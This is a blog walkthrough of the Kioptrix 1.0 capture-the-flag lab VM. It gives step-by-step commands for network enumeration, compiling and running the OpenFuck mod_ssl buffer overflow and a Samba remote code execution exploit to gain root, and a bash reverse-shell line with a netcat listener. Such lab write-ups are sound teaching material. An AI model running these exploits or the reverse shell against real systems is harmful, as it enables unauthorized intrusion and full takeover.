Kioptrix 1.0 is the first level of the Kioptrix machines CTF challenges. As you can understand this is the easiest challenge to solve. The main focus of this machine is to learn how to use basic enumeration and generate the right exploits to penetrate the target.
So we have already booted up the machine with virtualbox (if you have a problem installing the machine in virtualbox, check this article). First things first, we need to determine the IP of the target.
netdiscover -r 192.168.1.1/24
So, now we perform a simple nmap scan to our target machine to see only the services that are running.
nmap -sV -vv -T4 [ip]
We see some interesting open ports. Generally speaking, when you see the Samba service running (port 139), search it more to find anything interesting. We also can see that the Apache server has the mod_ssl/2.8.4, which has a very popular Buffer Overflow vulnerability. However, in this write-up we are going to exploit the target in both ways. Let’s first check the samba version.
enum4linux -a [ip]
From the results we can see that the Samba version is 2.2.1a. With a little Google search we can see that all the Samba versions prior to 2.2.8 are vulnerable to a known Remote code Execution. With all this info, let’s go to the exploitation phase.
Searching with ‘searchsploit‘, we find the BOF exploit for mod_ssl vulnerability.
It’s a known exploit with the name ‘openfuck‘. However the exploit is deprecated and you need to use the updated version. Clone the repo below to use the updated version of the exploit. Then go to the folder and compile the script.
git clone https://github.com/heltonWernik/OpenFuck.git cd OpenFuck/ gcc -o OpenFuck OpenFuck.c -lcrypto
From the nmap scan before, we know that the server is using the Apache 1.3.20 version (0x6b in our example). So type the command below to run the exploit successfully.
./OpenFuck 0x6b 192.168.1.104 -c 40
As, we can see we have successfully exploited the server and got a root shell!
Searching again with ‘searchsploit‘ we find a Remote Code Execution that affects all the Samba versions prior to 2.2.8.
Compile the exploit.
gcc /usr/share/exploitdb/exploits/multiple/remote/10.c -o samba_exploit
Run the exploit as shown below and we immediately got a root shell.
./samba_exploit -b 0 [ip]
- If you want a fully interactive shell, type the address below to your target’s shell and open a netcat connection as shown below.
bash -i >& /dev/tcp/[your ip]/[port] 0>&1
And in another shell type;
nc -nlvp [port]
The first level of the Kioptrix machines was very easy to exploit. You learned about basic enumeration and searching for the right exploit to penetrate the target. You, also learned about two very famous vulnerabilities – mod_ssl Buffer Overflow and Samba <2.2.8 Remote Code Execution.
Want to learn more about ethical hacking?
Latest posts by Thodoris Moutesidis (see all)
- Sherlock – A Tool To Find Usernames Across Social Networks - January 30, 2019
- Modlishka – An Open Source Phishing Tool With 2FA Authentication - January 13, 2019
- Tr0ll 1.0 – Vulnhub CTF Challenge Walkthrough - January 4, 2019